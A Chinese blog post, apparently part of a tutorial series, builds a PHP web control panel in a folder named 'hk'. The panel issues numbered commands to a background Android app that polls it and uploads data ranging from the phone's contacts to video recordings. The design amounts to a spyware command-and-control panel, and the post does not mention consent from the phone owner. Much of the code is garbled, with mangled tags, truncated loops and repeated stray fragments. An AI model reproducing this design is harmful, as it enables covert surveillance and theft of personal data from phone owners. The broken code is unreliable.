本文接上篇繼續,上篇說安卓的後臺實現,還未完成功能部分。今天說說操控臺怎樣寫?本來想用郵件實現,想想算了,用網頁比較直觀。上個圖。
就是長成這鬼樣子。很醜是不是?
我用的是我自在手機組裝的php服務器,使用的是局域網,這和虛擬空間沒有什麼區別,效果是一樣的。
因為TCP在虛擬空間和安卓通信我不會,打算用輪詢來做,技術有點落後。
先在網站要目錄建個文件夾,用來專幹這營生。我命名為hk。
打開hk文件夾,在裡面建立個index.php。
代碼如下:
ob_start();
try {
session_start();
} catch (Exception $e) {
print $e->getMessage();
}
ini_set('display_errors','On');
//error_reporting(0);
//set_time_limit(0);//設置超時,0表示不限時
date_default_timezone_set('PRC');//中國時區
function BT($str)
{
$str=strip_tags($str);
echo '
<title>遠程操控臺/<title>/<form>function a1(n){
var d=new Date();
var t=d.getTime();
var js={};
js.time=t;
js.n=n;
var s=JSON.stringify(js);
jpost(
{
"url":"?lf=save1",
"data":"pd="+s,
"cb":function(d){
alert(d);
}
}
);
};
function jid(id)
{
if(!document.getElementById(id)){
console.dir(id+"不存在");
}
return document.getElementById(id);
}
function ap(h,obj,kb)
{
//try{clearInterval(tinter);}catch(e){}
if(kb==1){
obj.innerHTML="";
}
if(typeof(h)=="string"){
var obj_dom=cel(h);
}else
{
var obj_dom=h;
}
var arr=[];
for(var ik=0;ik arr.push(obj_dom[ik]); } if(kb==1||kb==0){ for(var ik=0;ik<arr.length> obj.appendChild(arr[ik]); } }else if(kb==3){//前插入 var parent = obj.parentNode; for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } /*if (parent.lastChild == obj) { // 如果最後的節點是目標元素,則直接添加。因為默認是最後 for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } }else { for(var ik=0;ik<arr.length> parent.insertBefore(arr[ik], obj.nextSibling); } }*/ }//if else if(kb==4){ var parent = obj.parentNode; if (parent.lastChild == obj) { for(var ik=0;ik<arr.length> } }else { for(var ik=0;ik<arr.length> } } }else if(kb==5){//內部前插入 var os = obj.children; if(os.length>0) { var oFirst=os[0]; for(var ik=0;ik<arr.length> obj.insertBefore(arr[ik], oFirst); } } else { for(var ik=0;ik<arr.length> obj.appendChild(arr[ik]); } } /*if (parent.lastChild == obj) { // 如果最後的節點是目標元素,則直接添加。因為默認是最後 for(var ik=0;ik<arr.length> //parent.appendChild(arr[ik]); parent.insertBefore(arr[ik], obj); } }else { for(var ik=0;ik<arr.length> parent.insertBefore(arr[ik], obj.nextSibling); } }*/ } } function cel(h){ var objcel=document.createElement("div"); objcel.innerHTML=h; return objcel.childNodes; } function jpost(js) { /* if(window.navigator.onLine==false){alert("當前網絡離線,請檢查網絡");}
*/
var url=js.url;
var data=js.data;
var cb=js.cb;
//tsB('');
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var rs=xmlhttp.responseText;
//alert(rs);
//console.log(rs);
eval(cb).apply(this,[rs]);
//---------------------------------
var html = rs;
//var hd = document.getElementsByTagName("head")[0];
if(!jid("script1")){
ap('
',document.body,0);/<arr.length>}
var hd=jid("script1");
hd.innerHTML='';
var re = /(?:
當點擊通信錄時,會在hk目錄下生成一個1.txt的文件,它保存了一個json字符串如下:
{
time:xxxxxxxxx,
n:1
}
從通信錄到錄像,n分別用1-7來表示。time是建立的時間。
當安卓讀取到這個字符串,時間在允許範圍,根據n的數字來進行哪種操作。
讀取的url地址是http://域名/hk/index.php?lf=show,我的是http://192.168.1.101:8181/hk/index.php?lf=show。
假如讀取1,為獲取通信錄,手機獲取通信錄後上傳入來,把它保存在hk目錄下的data文件夾裡。我們再通過讀取文件,就能讀取出來。原理就這樣。
服務器部分基本這樣,還有讀取的未實現,先搞好手機上傳的回頭再實現。
好了,今天寫這麼多,明天實現手機讀取通信錄部分,如果你有興趣,請關注我。
/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>/<arr.length>閱讀更多 茂名阿信 的文章